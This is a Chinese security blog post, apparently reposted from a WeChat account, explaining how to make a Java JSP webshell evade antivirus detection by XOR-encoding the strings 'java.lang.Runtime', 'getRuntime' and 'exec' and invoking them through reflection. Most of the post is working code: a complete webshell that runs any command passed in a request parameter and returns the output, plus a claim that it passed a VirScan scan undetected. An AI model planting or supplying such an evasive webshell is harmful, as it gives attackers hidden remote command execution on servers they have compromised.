【Tips】利用反射&异或加密实现WebShell免杀

admin 2025年6月7日14:06:26评论0 views字数 3150阅读10分30秒阅读模式

异或加密

异或加密 (XOR Cipher)

异或加密是一种对每个字符执行位操作的加密方法。通过与一个密钥进行异或运算,明文会被加密,且加密后的文本可以通过相同的密钥再次进行异或解密。

加密与解密示例:

<%!     public static String xorEncryptDecrypt(String text, char key) {        StringBuilder result = new StringBuilder();        for (int i = 0; i < text.length(); i++) {            char c = (char) (text.charAt(i) ^ key);  // 执行异或运算            result.append(c);  // 将结果添加到 StringBuilder        }        return result.toString();    }%>

使用示例:

<%    String originalText = "Hello World!";    char key = 'K';  // 选择一个密钥    String encryptedText = xorEncryptDecrypt(originalText, key);    String decryptedText = xorEncryptDecrypt(encryptedText, key);  // 再次使用相同的密钥解密    out.println("Original Text: " + originalText);    out.println("Encrypted Text: " + encryptedText);    out.println("Decrypted Text: " + decryptedText);%>

解释:

  • 异或加密的优点是简单且对称:加密和解密使用相同的密钥。
  • 异或加密的弱点是密钥长度固定,因此当密钥较短时,容易被暴力破解。增加密钥长度或多次异或可以提高安全性。

免杀实践

public static String xorEncryptDecrypt(String text, char key) {        StringBuilder result = new StringBuilder();        for (int i = 0; i < text.length(); i++) {            char c = (char) (text.charAt(i) ^ key);  // 执行异或运算            result.append(c);  // 将结果添加到 StringBuilder        }        return result.toString();    }    public static void main(String[] args) throws NoSuchMethodException {        String a = "java.lang.Runtime";        String b = "getRuntime";        String c = "exec";        char k = 'A';        String encryptedText = xorEncryptDecrypt(a, k);  // 再次使用相同的密钥解密        String decryptedText = xorEncryptDecrypt(encryptedText, k);  // 再次使用相同的密钥解密        System.out.println("Encrypted Text: " + encryptedText);        System.out.println("Decrypted Text: " + decryptedText);        String encryptedText2 = xorEncryptDecrypt(b, k);  // 再次使用相同的密钥解密        String decryptedText2 = xorEncryptDecrypt(encryptedText2, k);  // 再次使用相同的密钥解密        System.out.println("Encrypted Text: " + encryptedText2);        System.out.println("Decrypted Text: " + decryptedText2);        String encryptedText3 = xorEncryptDecrypt(c, k);  // 再次使用相同的密钥解密        String decryptedText3 = xorEncryptDecrypt(encryptedText3, k);  // 再次使用相同的密钥解密        System.out.println("Encrypted Text: " + encryptedText3);        System.out.println("Decrypted Text: " + decryptedText3);    }
【Tips】利用反射&异或加密实现WebShell免杀

使用异或对关键字符串进行加密,执行成功

<%@ page contentType="text/html;charset=UTF-8" language="java" %><%@ page import="java.lang.reflect.Method" %><%!  public static String xorEncryptDecrypt(String text, char key) {    StringBuilder result = new StringBuilder();    for (int i = 0; i < text.length(); i++) {      char c = (char) (text.charAt(i) ^ key);  // 执行异或运算      result.append(c);  // 将结果添加到 StringBuilder    }    return result.toString();  }%><%    String test = request.getParameter("test");    if (test != null) {        // 利用反射构造类名和方法名        String a = "+ 7 o- /&ou00134/5(,$";        String d = "&$5u00134/5(,$";        String h = "$9$"";        char k = 'A';        String aa = xorEncryptDecrypt(a,k);        String bb = xorEncryptDecrypt(d,k);        String cc = xorEncryptDecrypt(h,k);        out.println(aa);        out.println(bb);        out.println(cc);        Class<?> r = Class.forName(aa);        Method g = r.getDeclaredMethod(bb);        Method e = r.getDeclaredMethod(cc, String.class);        Runtime runtime = (Runtime) g.invoke(null);        Process process = (Process) e.invoke(runtime, test);        java.io.InputStream in = process.getInputStream();        int z = -1;        byte[] b = new byte[2048];        out.print("<pre>");              while ((z = in.read(b)) != -1) {        out.println(new String(b));      }      out.print("</pre>");    }%>
【Tips】利用反射&异或加密实现WebShell免杀

上传到 virscan 查杀成功绕过

【Tips】利用反射&异或加密实现WebShell免杀

 

原文始发于微信公众号(贝雷帽SEC):【Tips】利用反射&异或加密实现WebShell免杀

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月7日14:06:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【Tips】利用反射&异或加密实现WebShell免杀http://cn-sec.com/archives/3782752.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息